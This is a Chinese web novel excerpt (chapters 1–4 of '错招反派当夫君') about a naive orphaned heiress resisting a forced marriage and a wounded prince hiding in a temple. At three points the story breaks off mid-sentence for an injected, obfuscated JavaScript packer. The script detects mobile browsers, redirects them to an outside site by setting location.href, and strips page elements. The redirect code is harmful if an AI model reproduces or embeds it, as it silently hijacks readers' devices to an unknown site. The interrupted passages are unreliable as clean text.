《错招反派当夫君》 1. 第 1 章 【1】 暮春多雨,水韵悠悠,越州城笼罩在一片氤氲迷朦的雾里。 晨间湿气浓,温度低,早起的人总爱在街尾买一碗馄饨果腹。一碗热腾腾的馄饨出锅,未及上桌,混着油香的肉香气便飘了过来。 食客迫不及待先呷了一口热汤,才眯起眼睛,心满意足地道:“今日倒是清净得很呐。” 卖馄饨的娘子还未开口,隔壁桌一个书生幽幽道:“听说京城要来大人物。” “官府连夜下通告封城,全城商户停业半日。你没瞧见这街上一大半的店门都关着?” 馄饨摊能照常开店,邓娘子自然不是等闲人家的妇人。她丈夫是衙门里的皂役班头,知道的消息更多些。 “说是有个王爷会路过此地,往杭州去。”邓娘子道,“等忙完这会我也收摊啰。” 食客抬头望向不远处几家店铺,几个伙计搬着箱子进进出出,动静不小,似乎压根不将封城的事放在眼里。 书生道:“那是宋家的铺子,人家是皇商,自然不同。” 正说着,对面街道驶出一辆马车,打他们面前经过。 隔着帘子,仍能闻到一股浓烈的酒味,里头隐约听到有女子在弹琴吟唱。 再一瞧那灯笼上的“宋”字,食客微微皱眉,“若我所记无错,宋家的孝期应当才过三个月?如此寻欢享乐,怕是不妥。” 宋家那场丧事办得不小,全城皆知,就在去年腊月。 书生嗤笑了声,表情玩味,“马车里是宋洛繁,那纨绔岂是耐得住寂寞守孝之人?再说亡故的是大当家李夫人,又不是他亲娘。” “宋洛繁的亲爹——宋家二爷,与宋将军本就是异父异母,若非他跟着老夫人改嫁到宋家,哪有福气跟着姓宋?将军娶妻李氏后,宋家才终于阔起来。如今李夫人过世了,这十几年间攒下的万贯家财,也只够那家子豺狼装三个月的老实!” 书生颇为不齿,冲着不远处的宋家大门愤愤道:“可怜宋家大小姐自此无父无母,又无兄姊庇护,热孝未过,就要被人吃了绝户!” 邓娘子关了店门,正听到那书生义愤填膺,说到李夫人下葬那日的情形—— “老夫人以孝道压人,要她跪足三日还禁食禁水,以致昏厥!可那三日二爷家的那对龙凤胎吃香喝辣,好不快活!” “如今才过三月,他们便装不住了,言说三年孝期太长,不能管这些虚礼,到了年纪就得嫁人,说李夫人在九泉之下定也不忍心女儿韶华虚度,平白熬成老姑娘——” 那宋家的祖母钱老太太,人如其姓,盯着儿媳李氏手中的财产盯了十年,终于等到李氏病亡,好歹装了三个月,满腹的盘算再也憋不住。热孝未过,非要逼着孙女嫁人。 书生咬着牙,顿足捶胸。 宋府角门忽然打开,从门缝里探出一个头来。 是个身着素衣的小姑娘,一张略显稚嫩的娃娃脸,梳着双丫髻,发啾上绑着白色的发带。 一双黑亮的大眼睛透着股娇憨,那副探头探脑、鬼鬼祟祟的模样,由她做出来,非但不惹人厌烦,反而格外讨喜。 书生双目泛红,脉脉含情地望着,喃喃:“大小姐,可怜啊!” 挂着“宋”字灯笼的马车正巧经过角门,吓得小姑娘又虚掩起门缝,缩了回去。 一众人马声势浩荡地行至正门,角门外安静下来。 宋星糖这才敢再度探出头来。 她紧抿着唇,似乎是被门外那群人吓着了,紧张得脸色微白,葡萄一样的杏眸中满是惊慌与不安。 她心里庆幸宋洛繁那小子素来仗势摆阔逞能,能走大门就绝不走偏门,不然非要撞上她不可。 见正门那边人陆续进府,她才鼓起勇气,护着怀里的包袱跑了出去。 * “……这是最后一个!” 宋星糖呼了口气,将包袱轻轻放到榻上。 整个卧榻上再无一点空位,全都被一个个圆滚滚的包袱给占满,十行五列,一个萝卜一个坑似得,摆放得整整齐齐。 “咚咚”两下叩扉声后,不等宋星糖应答,便有人推开了个门缝,轻手轻脚挤了进来。 正是宋星糖的乳母李嬷嬷。 “姑娘,斋饭已备下,快用些吧?” 话音落,寂静的房中骤然响起“咕噜”一声。 宋星糖摸了摸空瘪的肚子,抿了下唇,摇摇头,“我去给佛祖磕个头就回,不能让人发现我偷跑出来。” 李嬷嬷看着那一床小包袱,又觉好笑,又觉得心酸难受。她叹道:“来了十几趟,终于全都搬完了。” 宋星糖心道这也是没办法的事。 阿娘重病时,悄悄将一张嫁妆单子塞给她,说让她好生保管。 她素来听话,阿娘让她做什么她就做什么。可是阿娘没说要如何保管这些财务,她只知道宋府是不安全的,于是便想了个笨法子。宋府不安全,菩萨这总是安全的。 榻上堆满了珍奇器物,没地方坐,宋星糖就蹲在地上,双手抠着床榻的边缘,没底气地嘟囔:“我也不想做小偷。” 这些都是阿娘生前的最爱,是阿娘自己积攒下来的,哪怕拼上性命,她也不能让那一家人染指了去。 她若是再聪明些,就能想到更好的法子保全阿娘的心爱之物,也不至于这般偷鸡摸狗,偷偷转移家中财产。 李嬷嬷急急忙忙地道:“姑娘拿自己家的东西,怎能叫偷呢?” 目光定在少女那素净的脸上,心中怜爱泛滥,在心底怒骂了好一阵那吸血的一家子。 少女眸光闪烁,“祖母不许阿娘的东西陪葬,还说等我嫁人,财产一半留给宋洛繁娶妻,另一半就是未来夫君的了,可我……我想要它们永远属于阿娘。” 可惜阿娘的墓有祖母的人盯着,即便将阿娘的东西“偷”出宋府,也没法送去给阿娘陪葬,只能被她藏在这小小的禅房之中。 她记性不太好,留着这些物件,时时望着回忆着,能让那些记忆碎片消失得慢些。 宋星糖低下脑袋,“要是爹爹在就好了。” 李嬷嬷目光软了下来,忍着眼眶的酸疼,“老爷会平安归来的。” 宋星糖失落片刻,很快又振作起来,给菩萨磕完头就回去了。 回程路上,慢慢下起小雨。 宋星糖坐在马车里,撑着困倦的眼皮听李嬷嬷唠叨: “等回去姑娘就装病,甭管来的是张家还是李家,老奴我都替姑娘挡着,断不能再让那些轻浮的东西进门!” “老夫人也真是的,从前说咱们夫人抛头露面和男人做生意是罔顾廉耻,如今她自己又把外男往姑娘面前领,没存过好心!” 宋星糖自然而然地想起昨日来,昨日祖母寻了个由头让她去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353174|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院里请安,到时却只见一个陌生男子立在院子当中,那人看到她来,眼睛放光,热情地迎上来就要拉她的手。 她当时脑子一片空白,身侧的秦知许也被吓住,俩人愣愣地没反应。 幸好李嬷嬷反应快,阔步向前,横在中间,把那人推了个踉跄,没碰着她。 后来宋府的大管家秦知期去问过才知,那男子是祖母相中的,给宋星糖挑的夫婿,姓张。 那张秀才是老夫人的远房亲戚,寒窗苦读二十余载,才堪堪考中个秀才。 听说为了供养张书生科考,大半的家产都变卖了,如今家中实在难以为继,便通过钱老太太的关系,知道了宋星糖。 宋星糖听过以后,没什么反应,倒是把秦知许和李嬷嬷气个够呛。 知许当即就要去找老夫人理论,秦知期冷静地将妹妹拦下,看着宋星糖的眼睛,言说他会解决这件事。 说是“解决”,李嬷嬷也不敢将希望全都放在秦管家身上,她扭头看到自家主子那双剔透润亮的乌瞳,大道理不由自主都咽了回去,忧虑道:“姑娘,装病您会吗?” 见她果然摇了摇头,李嬷嬷叹了口气,心想着,罢了吧,主子心思单纯藏不住事,不该勉强,免得到时弄巧成拙,平白给人送把柄。 正当李嬷嬷想主意的时候,宋星糖忽然起身,坐到窗户那一侧。她打开木窗,将脸凑了出去,用面颊去迎接外头的雨。 三月末的春雨细密,混着咸湿的凉风,打在少女嫩白光洁的脸上。 冰凉的雨丝扑面而来,顷刻间就在她的睫羽上凝结成一个又一个水珠,冷意刺得人头皮发麻,霎时便激出一身鸡皮疙瘩。 宋星糖眨了下眼睛,视线微垂,水珠便顺着脸颊滚了下来。 吹吹冷风,冻病了不就行了?可惜她身体素来不错,很少生病,也不知要吹多久的冷风才能生病。 宋星糖思索时只能专注一件事,现在脑子里想着怎么能忽然病上一场,便短暂地将其他烦恼都忘到了一边。 今日不知怎么,一路上都看不到人。是以耳边忽然响起马蹄声时,宋星糖立刻便从错综复杂的思考中跳脱出来,好奇地循声望过去。 只见远处一马一人疾行而来。 那人通身玄色劲装,骏马之上,身姿挺拔,还没看清样貌,宋星糖没来由地便觉得这定是位意气风发的俊俏儿郎。 很快那人与马车交错而过,带起一阵呛人的沙尘。 “姑娘?姑娘!”李嬷嬷靠过去,一手抚在少女背上,嗔道,“快将窗子放下!” 宋星糖渐渐回神,这才意识到自己被那马蹄溅起来的土呛得咳了半天。 她摸摸嗓子,意犹未尽地放下车窗。只是窗子关上后,没多久又听到一阵马蹄声,她悄悄打开一个缝,看到另一个手里拿着弓箭的人。 那人姿色平平,只一眼宋星糖就落回了窗。 马车毫无障碍入了城,又悄无声息地停在宋府角门外。 下车时,宋星糖还在走神,身边人拉扯她都没什么反应。等她再回神时,已经被秦知许拉进了房门。 秦知许走在前头,边走边扭头抱怨:“我的小祖宗,你可算回来了,老夫人催了两趟,你若再晚些,我又要替你挨骂……” “阿许!”宋星糖蓦地停下脚,眼睛里亮晶晶的,后知后觉道,“我好像见到了一个好俊的人!” 2. 第 2 章 【2】 该怎么形容那一眼的印象呢? 宋星糖想起来父亲常用来说母亲的一个词——惊鸿一瞥。 她的记性素来不好,有限的脑子都用来记她喜爱的事上,比如长得好看的人。 像那个其貌不扬的张秀才,虽然只过一日,她也没什么印象了。今晨见到那个骑马的男子,她觉得自己起码能记上十日。 秦知许没理她,转身走了。 宋星糖又将目光放在李嬷嬷身上。 她凑过去,挽着李嬷嬷的胳膊,亲昵地用脸颊贴上对方的肩膀,回忆道:“他可真好看,若是能嫁给那样俊俏的男子,就随了祖母的意,分他一半财产也没有那么不情愿了……” 她顿了顿,又自顾自摇头,“不过不能给他阿娘那份,只能把我自己有的分给他。阿娘的就是阿娘的,谁也不能动。” 李嬷嬷一时间不知说什么好,她无奈地看着宋星糖,没将话往心里去。 她家这位大小姐,最是喜新厌旧,没个长性。眼下这么说,可扭头就会忘了,做不得真。 在寺庙时忧心母亲财产,路上想起来祖母刁难,财产的事立刻就忘了。见着个皮囊尚可的男人,又将祖母的事也忘了。 她心里盛一件事不会太久,只要有下一个烦恼,上一个就会忘掉。有些短暂的烦恼太久不提,就会彻底忘掉。 这不,钱氏身边的老嬷嬷第三次来请人,宋星糖顿时将骑马的男人忘到了脑后。 宋星糖心事重重往外走,走到院门口,才发现外头围着许多人。 秦知期身边站着个陌生男子,一身布衣,粗眉狭眼,比秦知期矮了半头。 他们对面,是穿着锦绣华服、披金戴银的宋洛繁,他正揽着一个身姿出众的妙龄女子,低声说着:“你放心,这院子她住不久,到时候里头的东西都给你。”惹得怀中女子一阵笑。 秦知期掀了眼皮,没什么表情地睨着宋洛繁,眼底情绪很冷,却是没吭一声。 三男一女堵在那,还有不少家丁在侧,将路堵得严严实实。宋星糖站在门口,手指蜷了蜷。 面容陌生的男子最先发现她,眼底再度略过惊艳光芒,几步跨到近前,轻声道:“小生唐突,还请姑娘宽恕则个。” 宋星糖不住后退,漂亮的眼中流露出一丝茫然,“我不认得你。” “大小姐!我们昨日才见过的。” 昨日?宋星糖这才想起来对方是谁,心底更加排斥。她皱着眉头,求助地看向秦知期。 秦知期适时道:“张公子说要见大小姐,人已见过,该去同老夫人回话了,这边请。” 说话还算客气,只是语调平平,十分冷漠。 那张秀才一听就急了,“秦管家,老夫人也是要见大小姐的,不若我陪着大小姐一同过去吧。” 秦知期似笑非笑看着他,没反驳,顺着对方的话道:“也好,未免公子不认得路,在下送二位过去。” “你——” 宋星糖惊诧地睁大了眼睛,探头出来,“秦大哥……” 她不想去见祖母啊! 秦知期转过身,不容置喙道:“大小姐,请吧。” 李嬷嬷担忧地迎上来,正要开口,秦知期使了个眼色,李嬷嬷面色复杂,不赞同的话又咽了回去。 宋星糖就在众人的簇拥下,茫然地朝外走。走出去一段路,她骤然一悚,回头望去,只见宋洛繁搂抱着女子,大摇大摆,走进了她的小院。 …… 紫棠院正堂中。 宋星糖背脊挺直,她嗓音清脆,掷地有声: “祖母,三年之丧未过,我不嫁人。” 一旁的妇人首先笑出了声,宋星糖循声望去,目露不解,“二婶婶,为何笑?” 二婶白氏用帕子按了按唇角,笑道:“糖姐儿,你都十八了,等孝期过去,你可知那时多大岁数?” 少时启蒙时,宋星糖学东西很慢,尤其是算学,气走了好几个老师,才勉强让她学会简单的加减。 白氏此刻暗暗嘲讽宋星糖不会算数,可宋星糖却没听出来,十分真诚地点了下头,“二十一岁,也还小呢。” 毕竟爹爹曾说,女儿就算两鬓斑白也是他的小丫头。 这时一道娇得人骨头酥麻的嗓音含笑响起:“你母亲二十时都有你了,想来你娘也知道姑娘老了难嫁的道理,凭她那样的人,也不敢过了二十再嫁人,何况是你?” 宋星糖听出这是二叔的妾室柳姨娘在说话。 “老姑娘就不值钱了,凭你家世再显赫也没用,到时候只能给人做续弦。” “宋家终究不能容留你太久,你总要嫁到夫家去,与其到时候给人家当继母,不如趁着现在年轻,挑个知根知底的,后半生才有保障。” “咱们家也只是比一般人家富一些,你父母都不在身边,还不是我们这些做长辈的替你操心,可别不识好歹,辜负我们这一片苦心啊。” 任人如何吐沫横飞,宋星糖都不理不睬,只直视着上首那位。 她嘴巴笨,没法像二婶她们一样说得头头是道的,结结巴巴半晌憋不出一句反驳,只能反复重复那一句话:“我不嫁人。” 钱老夫人纵容自家人嚼了半天舌根,才慢悠悠地端起茶盏,抿了一口,不疾不徐地道:“此事由不得你。” 二房众人面上皆是一喜。 如今李大当家已逝,宋将军杳无音信,宋府能做主的自然便只剩老夫人。老夫人掌权,那就是他们二房掌权啊! 被李柔这个儿媳压在头上十几年,钱氏如今可算能狠狠出一口恶气。 宋星糖身边有几个忠仆,好拿捏,早就被她给打发了,如今只剩下李嬷嬷和秦知许两个。 秦知许是秦管家的亲妹妹,轻易动不得,李嬷嬷是从小照料宋星糖的乳母,也得留着。她还要留个好名声,自然不能赶尽杀绝。 有老夫人撑腰,二房人的气焰愈发高涨,二婶竟堂而皇之地说起亲事来。 白氏笑着看向身侧妇人,“亲家,你看我们家糖姐儿,有财有貌,配令郎可不是正好。” “不敢当不敢当,幸得大小姐这样的妙人儿肯垂怜,是我儿高攀。” “说什么高攀不高攀的,都是一家子骨肉。”二婶眉开眼笑道,“听说我们老爷少时生病,适逢洪水冲垮了路,没有郎中愿意来,还是亲家公背着郎中走了几十里路到家里来,这才得救,要不怎么说血浓于水呢,这恩情也是时候让我们报一报了。” 宋星糖看向那妇人与张秀才,一段话听得似懂非懂。 她茫然道:“二婶要嫁女报恩,不是该宋妤娇嫁过去吗?毕竟她才是二婶的亲女儿,我又不是。” 顿了顿,又道:“我娘已经死了。” 众人脸色皆是一变。 李嬷嬷实在听不下去,才一动就又被秦知期拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353175|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下。李嬷嬷狠狠剜他一眼,愤愤地甩开手,冲上前去,将宋星糖护在怀里。 眼里含泪,对着白氏控诉:“我们姑娘现在是孤身一人,你们要将她卖了,老奴我第一个不应,你们若敢强逼于她,我就到外头去将你们做过的好事全都捅出去!反正老婆子我是烂命一条,不要脸面!” 还有外人在,钱氏哪容得一个老仆这么僭越,更何况她如今正得意着,还有些个不服的在看,正好拿李嬷嬷立立威。 说话间抬手叫来一众家丁,就要将李嬷嬷拖下去。 半晌没有反应的宋星糖忽然动了,她反手拉了李嬷嬷,蓦地往外走。 秦知期眉头微皱,瞥了一眼上头那位,到底没动。 大小姐硬往外闯,家丁面面相觑,不敢围上去拉人。 众目睽睽之下,就这么让她们离开了。 走出房门时,宋星糖听到身后祖母在哀叹:“都叫她父母给宠坏了,糖姐儿别处都好,只一点,性子太野太倔,目无尊长,像她那个母亲,是上梁不正下梁歪。” “这倒无妨,她母亲没了,年岁尚小,还有的扳正呢。等嫁了人,让男人好好调训一番也就是了。说到她母亲,那些遗产,今儿跟亲家……” 宋星糖捂起耳朵,快步走远。 入了夜,秦知期回到霜星院,才刚迈入门槛,就被人推了一把。 只听秦知许带着哭腔,指着他的鼻子斥责道:“我都听李嬷嬷说了,你怎么不帮大小姐!难不成你真收了那一家子的好处,也做了吃里扒外猪狗不如的事?!” 秦知期后背磕在门板上,脸色骤然沉了下去,“胡说什么!” 秦知许却不听他的话,只骂道:“你们走了以后,大少爷就带着不知哪里来的女子进了院里,那女子说西厢房不好看,大少爷就说拆了重盖,按她喜欢的布置,俨然一副主子模样!可这小院是老爷夫人留给姑娘的,旁人怎能碰!他们竟还妄想住进来,他们怎么敢的?!” 相比于妹妹的暴跳如雷,秦知期十分冷静。 他理了理衣裳,望了一眼灯火通明的闺房,“大小姐还没睡?” 秦知许抹了一把眼泪,哽咽:“她心思单纯,心中未有芥蒂,可李嬷嬷与我少不了怨你!先前不是保证过会解决了那张秀才?怎么今儿又闹这么一出?你倒要说说看,老夫人许了你什么好处,让你这般装聋作哑,眼睁睁看着她受屈而毫无作为!” 秦知期目光晦涩,盯了妹妹半晌,“你只要知道,我不会害你们,旁的都不必问。” 言罢也不多做解释,撂下句“让大小姐早些睡”便离开。 兄妹俩的争执没有传到宋星糖的耳中,宋星糖眼下有更要紧的事做。 傍晚时阿许给她提了醒,她忽然灵光一闪,开心得连晚膳都没吃,一头扎进书房里,命李嬷嬷把爹娘的书信都翻了出来。 阿娘还在世时,远在前线的爹爹就总往家里寄信,勤时几日就有一封。 他们俩还总是说一些私房话不给她听,她问起时,阿娘遮遮掩掩的,只说是聊到她的事。 宋星糖才不信,要真是写了和她有关的话,那肯定也是坏话,不然阿娘怎么看完信脸都气红了呢,眼里还泛着水光,一副气恼委屈的样子。 可她从小最是乖顺,爹爹喜欢她喜欢得不行,怎么会说她的坏话呢?她倒要看看,爹爹的信里究竟写了什么,兴许能从里头找到对付祖母的法子。 3. 第 3 章 【3】 赵妈妈守在灯盏旁,看宋星糖困得摇晃还在强撑,心疼得直掉眼泪。 幼时一场变故,令宋星糖学东西变得很慢,连最简单的加减算术都变得不易。所以她不喜读书,长大以后,更是排斥做学问。 老爷夫人对大小姐千娇百宠,并不难为她,学不会就罢了,好在常用字都是认识的,不通文采又有何妨?左右都有他们庇护,他们对她唯一的期许就是岁岁平安,喜乐顺意,什么学问不学问的,全都不放在心上。 可如今没法子,为了守住夫人的基业,她竟甘愿去做自己不擅长且不喜欢的事。 李嬷嬷难过地想着,这就是没有爹娘疼爱的孩子总要面对的事。这样的变化若被老爷夫人看到,还不知要如何心疼。 “有了!” 时至四更,宋星糖揉了揉熬得通红的眼睛,两眼放光,拍案叫道:“爹爹信里写得分明!我有救了!” 李嬷嬷怜爱地摸摸她的脑袋,没当一回事,哄她:“找到便好,姑娘去睡会吧,老奴去铺床。” 宋星糖正在兴头上,哪里还睡得着,拉了李嬷嬷的袖子,把她的手从自己脑袋上拿下来抓住,兴奋道:“我们走吧!趁着天还没亮,不易被人察觉!” 李嬷嬷:? 走? 李嬷嬷一头雾水,“姑娘想去哪?” “去找菩萨!” “……” 李嬷嬷以为自家主子实在无计可施,所以将一切希望都寄托于求神拜佛。可当她看过那封信时,终于才意识到,自家主子的误会有多大。 “爹爹都说了,对着神佛叩首,心愿便能圆满!” 宋星糖被人拉住胳膊,身子拼命朝佛堂里歪。 “佛祖面前,不可胡言!”李嬷嬷两只手费力地按着小姑娘,苦口婆心,“再说老爷也不是那个意思——” “爹爹让我嫁人,让我招一门赘婿。”宋星糖用力挣脱,抻着脖子看了眼大殿中满面慈悲的佛祖,笃定道,“听爹爹的话!” “那分明老爷的玩笑话啊!”李嬷嬷感觉自己手底下有一只活力十足的兔子,一不留神就要被她蹿出去。 无奈道:“当时姑娘看中了胡商贩来的香粉,头一次对往来贸易产生了兴致,夫人便叫姑娘跟着秦管家学做生意,姑娘折磨了秦管家半个月,夫人看不过去,同老爷诉苦,老爷为了宽慰夫人,这才有此一说……” 宋星糖不听,只道:“后来爹爹还在信上说,同佛祖叩首,在心中默念暗号,佛祖自会为我挑选合适之人相告暗号,对上来就是我命定的夫婿!” 李嬷嬷:“……” “我的大小姐啊,信里写的分明是老爷在外征战思念夫人,行军途中路过一间寺庙,知晓夫人素来敬佛,便进去叩首,对着佛祖言说满腔的相思。” 宋星糖眨了下眼睛,似懂非懂。 “那是老爷与夫人间的小情趣,老爷不好意思说自己,只拿姑娘做引子,什么招赘的暗号啊,那都是他自己想对夫人说的情话。这当中哪有姑娘什么事?” “可是爹爹确实提到了我。” 既提了她,哪有此事与她无关的道理? 李嬷嬷:“……” 这孩子,怎么就说不通呢! 老爷毕竟是个五大三粗的男人,纵然冷硬的心肠为情化成一汪水,又如何肯直白地表露出来?还不是得借着说女儿的事,隐晦地表露自己的想法。 这便是老爷夫人只可意会、不可明言的私房话了,是如夫人所说的那般,虽是提及了宋星糖,然而同她的干系并不是很大,所以不好同她讲。 可这些,李嬷嬷实在无法同宋星糖一一解释清楚,因为这些情啊爱的,她根本不懂,就算解释到明年,她也听不明白啊! 李嬷嬷只觉得一阵头疼。 分神的功夫,手里力道松懈,怀里兔子一溜烟蹿了出去。 李嬷嬷哎哟一声,只得追上去。 只见宋星糖拎着裙摆,如蝴蝶一般飘进佛殿,跪在蒲团中,双手合十,虔诚许愿。一边许,一边念叨: “天灵灵地灵灵,神仙祖宗快显灵。请赐我一个能对出下半句的夫君吧!” 她掏出信来读了一遍: “上句是只缘感君一回顾。” “下句是使我思君朝与暮。”① 声音之大,在空荡的佛殿中反复回响。担心佛祖记错她的祈祷,反复诵读了三遍。 很好,记住了! 宋星糖又把信塞回了袖子里。 李嬷嬷:“……” 不是说要默念吗?幸好殿中除了她主仆再无旁人,不然这么大声音,就算是目不识丁,也该学会了。 哪怕李嬷嬷没读过什么圣贤书,也能猜出来,这必然不是什么无人知晓的密语,定是哪本书上写过的,许多读书人都会背。 不是什么艰涩拗口的长句难句,能指望着凭它去万里挑一? 李嬷嬷不敢想若真凭此诗招赘,那一呼百应的场面,该是何其宏大。 早知就该让大小姐多念几本诗词了,就不该找那些毫无文采、简单易读的书给她看! 她背不会,就把那些诗句都加到她爱看的才子佳人的爱情话本里,不怕她分辨不出。再不济就按着她的头硬背,肯定好过现在这样净弄些啼笑皆非的事。 李嬷嬷正悔不该当初,蒲团上的少女已然虔诚地进行第二轮叩首。 再直起身,又从脑子里将诗句搜罗出来,念叨一遍,可惜她这中间磕头的功夫,没记牢的诗句已然从脑子里跑走一半。 “使我思君,使我思君……” 她皱着鼻子,小声嘟囔,李嬷嬷都没太听清,只以为她叽叽咕咕地说着祈祷的话。 少女干净如一泓清泉的眼睛闪过迷茫,“思,思……坏了,什么来着?朝暮……朝朝暮暮?不对,字数错了……” “咔嚓——” “咚——!!” 两道声音重叠在一起。 宋星糖蓦地仰头,直直望向那佛像。 这下脑子里什么诗句都忘得半点不剩了。 “咚——” 厚重悠长的寺庙钟声又一次响起,这回宋星糖眼里迷茫更甚,探究地往前伸头。 柳眉微蹙,鼻尖轻嗅,水润的黑瞳中沁出点疑惑来。 红唇轻轻翕动,“嗯?那儿……” 忽然整个人被李嬷嬷从后头搀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353176|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来。 李嬷嬷替她整理裙摆,喋喋催道:“天亮了,咱得回了。” 说罢揽住她肩膀,不由分说推搡着往外走。 宋星糖还懵懂着,一步三回头,跨出殿门时,才将好奇的目光收回来。 天未亮透,外头隐约喧闹起来,没过一会,又安静下来。 江行等着寺中的大小和尚都去戒律堂上早课,才敢从山林中现身,闪身踏入佛殿,飞快关了门。 他贴着门板,手按在刀把上,屏息静听。 忽听一道低哑的声音从佛像方向传来:“说。” 江行听出那语气中熟悉的不耐烦与暴躁,不由得提起一万个小心。 将要说的话在肚子里滚了又滚,觉得应当无碍,才敢试探问出口:“殿下,您的伤可要紧?” 高高的神座背后,沈昭予头靠着金佛像,手按着腹部,脸色微微发白。 长久地失血让他有了疲惫与眩晕的感觉,他微微低头,看了一眼左手,上头有几滴还未干涸的血迹。 方才有血从右手指腹中漏出去,他也不知如何想的,下意识便去捞,结果不小心弄出些动静,倒叫个连半句诗都记不住的小姑娘给注意上了。 思及方才之事,“荒谬”二字在脑海里不断盘桓。 不通文墨,愚笨迟钝,天真又无知,却对“危险”有着敏锐的嗅觉。 可那痴儿一看就没有自保能力,也不知这样灵敏的直觉是好还是坏。 旁人的死活终究与他无关,疑问也只是从脑海中一闪而过,再无踪影。 沈昭予敛起眼中的不可置信。 伤口撕裂的痛折磨着他的神经,心里将那只敢暗地里使绊子的无耻之徒给痛骂了千百遍。 有本事就该出来单挑,阴沟里算计人又算什么本事!他定要把那群王八羔子都揪出来,将九九八十一刑都给用上一遍不可! 沈昭予在心里骂骂咧咧,江行安静如鸡,不敢吭声。 他怕主子嫌蠢,不敢擅自开口询问接下来的事,只静默等着主子吩咐。谁知等了半晌,也没等来谕令,正进退两难,背后骤然一悚! 江行身体本能的求生反应先于大脑,由肌肉带动脚步,等他回过神时,自己已经一个腾空再翻滚朝角落而去。 跪地抬头那瞬,只听得“嘭”的一声! 一把金镖带着凌厉杀气,从佛像后飞出,钉死在门框上。 而方才早被江行关好的殿门,此刻大喇喇敞着。 门底下,站着个老和尚。 深褐色袈裟随晨风轻轻飘动,周身仿若萦绕着庄重又深沉的气息。 老和尚双手合十,面目慈悲,音如洪钟:“阿弥陀佛,来者是客,尊客当以身体为重。” 江行只觉得浑身的毛都竖起来了,他唰地一声拔刀相对,后背惊出一身冷汗。 这老和尚深不可测,竟然丁点气息和脚步声都听不到! 江行厉声喝道:“来者何人!” 那老和尚没看他,仍对着佛像方向道:“佛门圣地,不该见血。” 江行陡然瞪大眼睛——这老和尚!他发现了! 正欲提刀砍去,金佛后头忽然飞身下来一人。 4. 第 4 章 【4】 一阵风过,两把刀剑指着老和尚的鼻子。 老和尚不动如山,“阿弥陀佛,老衲法号慧明,乃是这安济寺的住持。” 语毕,慧明慢慢抬头。 他那双无悲无喜的眼中映出面前男子的模样—— 通身单薄的黑色劲装,身姿笔挺修长,神情寡淡,眼底尽是傲慢。 真可谓意气风发,不可一世。 一副不将任何人看进眼中、无所畏惧的样子,几乎把“张狂”二字刻在脸上。 哪怕他此刻面白如纸,半身被血染透。 哪怕他身后并无千军万马。 可在慧明眼中,他依旧是披坚执锐,仿佛无坚不摧一般。 那副轻狂与桀骜怎么都遮掩不住,全都从他那双写满了野心的眼睛里泄露出来。 不狂,如何能做出血染佛地这等不敬之事来。 沈昭予也在打量对方,他不知这老和尚为何现身,是否为敌。 他一手举着剑,转瞬间,脑海里闪过许多可能,心中思忖着,不然干脆杀之灭口一了百了。 然而他千算万算,也未曾想慧明住持道了声佛号,才慢声道: “方才那位施主并非有意打扰尊驾清修,还请尊驾莫要介怀。” 沈昭予:? 方才?谁?哦…… “住持倒是心怀慈悲,还担心我会欺负一个小……”沈昭予顿了顿,嗤笑道,“小姑娘。” “唰”的一声,收剑归鞘,果断干脆。 剑拔弩张的气氛立刻缓和下来。 江行放下刀,这才转头看向自家主子,这一看,便蓦地愣住。 他家殿下每次出行办差都会易容,这回自然也不例外。奇怪的是此刻这一张脸,竟有三分与殿下的真容相似。 依稀记得他家殿下说要探路,先行独自出发时,还不是这一张脸。 不过这倒也不稀奇,他家殿下更换装扮,全凭心情。有时为了任务能圆满,殿下在一日中变换几张面孔的时候也是有的。 慧明双手合十,不动声色:“不知尊驾光临,有失远迎,已备下斋饭,请您移步。只是……还望怀王殿下下回要来,请走正门。” 江行一听老和尚这话,蓦地警惕地望过去,“你到底是谁!” 沈昭予却是笑了,手捂着依旧在汩汩冒血的伤口,挑眉道:“本王今日这张面容是新做的,头一回示人,虽有几分相似,但到底不一样。本王从未来过越州,你如何认出?莫不是在胡乱猜测,在诈本王?” 鲜血沿着指尖滴落在地上,很快聚集了一小滩血。 明明是十分狼狈危急的时刻,可他交谈起来仍旧恣肆骄狂,游刃有余,面上甚至还露出了饶有兴致的微笑,似乎真被戏耍诓骗诈出来了也无所畏惧,有的是时间听对方交代。 审视的目光自上而下垂落在老和尚身上,半晌,沈昭予嗤笑了声,“总不会是从菩萨那儿悟到的吧。” 听着他狂妄藐视的话,慧明只默默看了一眼男人那双未加掩饰、颇为凌厉的眼睛,不再多言,低下了头。 被回避了提问,沈昭予也不恼,一码归一码,既然对方释放了善意,他并非不领情的人,道了声谢,阔步向外走。 